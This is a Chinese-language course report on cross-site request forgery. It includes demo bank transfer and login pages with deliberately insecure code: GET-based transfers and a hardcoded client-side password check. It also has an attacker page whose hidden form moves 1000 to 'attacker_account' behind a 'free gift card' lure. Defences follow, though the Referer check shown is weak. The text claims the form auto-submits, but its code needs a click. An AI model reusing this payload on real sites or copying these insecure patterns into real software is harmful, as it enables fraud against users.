课程报告: CSRF攻击技术及其实现

1. 简介

跨站请求伪造 (Cross-Site Request Forgery, CSRF) 是一种网络安全攻击，攻击者通过伪造受信任用户的请求，执行未授权的操作。它利用了用户在已认证会话中不当保护的漏洞，诱使用户在不知情的情况下执行某些动作，从而达到攻击目的。

2. CSRF 攻击原理

CSRF 攻击利用了受害者在已认证状态下的身份。主要流程如下：

  1. 受害者登录到受信任网站（如银行网站），并产生一个有效的会话 cookie。
  2. 攻击者诱使受害者访问一个包含恶意请求的网页。
  3. 受害者访问该恶意网页时，网页中的恶意代码会自动发送一个请求到受信任网站。
  4. 由于受害者已登录，浏览器会自动附加会话 cookie，因此该请求将以受害者的身份执行。
  5. 受信任网站认为这是合法的请求，并执行请求中的操作，如转账、修改设置等。

3. CSRF 攻击的类型

  • GET 请求的 CSRF 攻击：通过包含恶意 URL 的图像、超链接等来触发。
  • POST 请求的 CSRF 攻击：通过隐藏表单和自动提交脚本来实现。

4. CSRF 攻击的实现

下面是一个简单的 CSRF 攻击实例：

4.1 环境搭建

  • 受信任网站 (Target)：假设有一个简单的银行网站 http://trustedbank.com，其中有一个转账页面。
  • 恶意网站 (Attacker)：攻击者控制的恶意网站 http://evilsite.com。

4.2 受信任网站的转账页面

假设受信任网站的转账页面如下：

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<!DOCTYPE html>  
<html>  
<head>  
    <title>Trusted Bank - Transfer</title>  
    <style>        body {  
            font-family: Arial, sans-serif;  
            background-color: #f4f4f4;  
            margin: 0;  
            padding: 0;  
            display: flex;  
            justify-content: center;  
            align-items: center;  
            height: 100vh;  
        }  
        .transfer-container {  
            background-color: white;  
            padding: 20px;  
            border-radius: 5px;  
            box-shadow: 0 2px 10px rgba(0,0,0,0.1);  
            width: 300px;  
        }  
        h1 {  
            text-align: center;  
            color: #333;  
            margin-bottom: 20px;  
        }  
        form {  
            display: flex;  
            flex-direction: column;  
        }  
        label {  
            margin-bottom: 5px;  
        }  
        input[type="text"] {  
            width: calc(100% - 22px); /* 减去padding和border的宽度 */            padding: 10px;  
            margin-bottom: 10px;  
            border: 1px solid #ddd;  
            border-radius: 4px;  
        }  
        input[type="submit"] {  
            padding: 10px;  
            background-color: #5cb85c;  
            border: none;  
            border-radius: 4px;  
            color: white;  
            cursor: pointer;  
            margin-top: 10px;  
        }  
        input[type="submit"]:hover {  
            background-color: #4cae4c;  
        }  
    </style>  
</head>  
<body>  
<div class="transfer-container">  
    <h1>Transfer Money</h1>  
    <form action="transfer.html" method="GET" id="transferForm">  
        <label for="amount">Amount:</label>  
        <input type="text" id="amount" name="amount" value="">  
        <label for="to_account">To Account:</label>  
        <input type="text" id="to_account" name="to_account" value="">  
        <input type="submit" value="Transfer">  
    </form>  
</div>  
</body>  
</html>

4.3 登录界面

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<!DOCTYPE html>  
<html>  
<head>  
    <title>Trusted Bank - Login</title>  
    <style>        body {  
            font-family: Arial, sans-serif;  
            background-color: #f4f4f4;  
            margin: 0;  
            padding: 0;  
            display: flex;  
            justify-content: center;  
            align-items: center;  
            height: 100vh;  
        }  
        .login-container {  
            background-color: white;  
            padding: 20px;  
            border-radius: 5px;  
            box-shadow: 0 2px 10px rgba(0,0,0,0.1);  
            width: 300px;  
        }  
        h1 {  
            text-align: center;  
            color: #333;  
        }  
        form {  
            margin-top: 20px;  
        }  
        label {  
            display: block;  
            margin-bottom: 5px;  
        }  
        input[type="text"],  
        input[type="password"] {  
            width: 100%;  
            padding: 10px;  
            margin-bottom: 20px;  
            border: 1px solid #ddd;  
            border-radius: 4px;  
        }  
        input[type="submit"] {  
            width: 100%;  
            padding: 10px;  
            background-color: #5cb85c;  
            border: none;  
            border-radius: 4px;  
            color: white;  
            cursor: pointer;  
        }  
        input[type="submit"]:hover {  
            background-color: #4cae4c;  
        }  
    </style>  
    <script>        // 客户端验证逻辑  
        function validateForm() {  
            var username = document.getElementById('username').value;  
            var password = document.getElementById('password').value;  
  
            // 检查用户名和密码是否符合预期值  
            if (username === "user" && password === "password") {  
                // 如果匹配，设置cookie并允许表单提交  
                document.cookie = "auth_token=secret123; path=/"; // 假设的token值  
                return true;  
            } else {  
                // 如果不匹配，显示错误消息并阻止表单提交  
                alert("Invalid username or password.");  
                return false;  
            }  
        }  
    </script>  
</head>  
<body>  
<div class="login-container">  
    <h1>Login</h1>  
    <!-- 表单提交时调用validateForm函数 -->  
    <form action="trustedbank.html" method="POST" onsubmit="return validateForm()">  
        <label for="username">Username:</label>  
        <input type="text" id="username" name="username"><br><br>  
        <label for="password">Password:</label>  
        <input type="password" id="password" name="password"><br><br>  
        <input type="submit" value="Login">  
    </form></div>  
</body>  
</html>

4.4 转账后台

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<!DOCTYPE html>  
<html>  
<head>  
    <title>Trusted Bank - Transfer</title>  
    <style>        body {  
            font-family: Arial, sans-serif;  
            background-color: #f4f4f4;  
            margin: 0;  
            padding: 0;  
            display: flex;  
            justify-content: center;  
            align-items: center;  
            height: 100vh;  
        }  
        .transfer-container {  
            background-color: white;  
            padding: 20px;  
            border-radius: 5px;  
            box-shadow: 0 2px 10px rgba(0,0,0,0.1);  
            width: 300px;  
        }  
        h1 {  
            text-align: center;  
            color: #333;  
            margin-bottom: 20px;  
        }  
        form {  
            display: flex;  
            flex-direction: column;  
        }  
        label {  
            margin-bottom: 5px;  
        }  
        input[type="text"] {  
            width: calc(100% - 22px); /* 减去padding和border的宽度 */            padding: 10px;  
            margin-bottom: 10px;  
            border: 1px solid #ddd;  
            border-radius: 4px;  
        }  
        input[type="submit"] {  
            padding: 10px;  
            background-color: #5cb85c;  
            border: none;  
            border-radius: 4px;  
            color: white;  
            cursor: pointer;  
            margin-top: 10px;  
        }  
        input[type="submit"]:hover {  
            background-color: #4cae4c;  
        }  
    </style>  
</head>  
<body>  
<div class="transfer-container">  
    <h1>Transfer Money</h1>  
    <form action="transfer.html" method="GET" id="transferForm">  
        <label for="amount">Amount:</label>  
        <input type="text" id="amount" name="amount" value="">  
        <label for="to_account">To Account:</label>  
        <input type="text" id="to_account" name="to_account" value="">  
        <input type="submit" value="Transfer">  
    </form>  
</div>  
</body>  
</html>

4.4 恶意网站的 CSRF 攻击页面

攻击者构造的恶意页面如下：

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<!DOCTYPE html>  
<html>  
<head>  
  <meta charset="UTF-8">  
  <title>点击图片提交表单示例</title>  
  <style>    .submit-image {  
      cursor: pointer;  
      transition: transform 0.2s;  
    }  
    .submit-image:hover {  
      transform: scale(1.05);  
    }  
  </style>  
</head>  
<body>  
<h1>点击图片获取免费礼品卡</h1>  
<!-- 使用提供的图片URL，并设置点击事件 -->  
<img src="https://officialwebsitestorage.blob.core.chinacloudapi.cn/public/upload/photo_db/2021/08/02/202108021554369816/202108021554369816_640_0.jpg?&rand=0827" alt="点击图片提交" class="submit-image" onclick="submitForm()">  
  
<!-- 隐藏的表单，用于GET请求 -->  
<form id="csrf-form" action="transfer.html" method="get" style="display: none;">  
  <input type="hidden" name="amount" value="1000">  
  <input type="hidden" name="to_account" value="attacker_account">  
</form>  
  
<script>  
  // 当图片被点击时，提交表单  
  function submitForm() {  
    document.getElementById("csrf-form").submit();  
  }  
</script>  
</body>  
</html>

当用户访问 http://evilsite.com 时，表单会自动提交，导致用户的账户资金被转到攻击者的账户。

5. 防御措施

  • CSRF Token：每次生成的表单包含一个唯一的、不可预测的 token，并在服务器端进行验证。
  • SameSite Cookie 属性：通过设置 cookie 的 SameSite 属性为 Lax 或 Strict，防止浏览器在跨站请求中发送 cookie。
  • 检查 Referer 或 Origin 头：验证请求的来源是否为可信的域名。
  • 双重提交 Cookie：在请求中包括一个 cookie 和一个表单字段，两者应匹配。

5.1 CSRF Token 实现

在服务器生成表单时，添加一个隐藏的 CSRF Token，并在提交时进行验证。

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<form action="http://trustedbank.com/transfer" method="POST">
  <input type="hidden" name="csrf_token" value="随机生成的token">
  <input type="text" name="amount" value="1000">
  <input type="text" name="to_account" value="123456">
  <input type="submit" value="Transfer">
</form>

服务器端验证代码示例：

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def validate_csrf_token(token):
    # 验证 token 是否有效
    if token in valid_tokens:
        return True
    return False

5.2 设置 SameSite 属性

通过设置 SameSite 属性，防止跨站请求发送 cookie。

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response.set_cookie('sessionid', session_id, samesite='Lax')

5.3 检查 Referer 或 Origin 头

在服务器端检查请求头，确保请求来自受信任的来源。

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def is_valid_referer(referer):
    return referer.startswith('http://trustedbank.com')

在请求中包括一个 cookie 和一个表单字段，两者应匹配。

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<form action="http://trustedbank.com/transfer" method="POST">
  <input type="hidden" name="csrf_token" value="cookie中的token">
  <input type="text" name="amount" value="1000">
  <input type="text" name="to_account" value="123456">
  <input type="submit" value="Transfer">
</form>

服务器端验证：

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def validate_double_submit(csrf_token, cookie_token):
    return csrf_token == cookie_token

6. 结论

CSRF 攻击利用了用户的身份和信任关系，执行未授权的操作。尽管 CSRF 攻击的实施较为简单，但其破坏力巨大，可能导致用户隐私泄露、资金损失等严重后果。通过合理的防御措施，可以有效防范 CSRF 攻击，保护用户的安全。

参考资料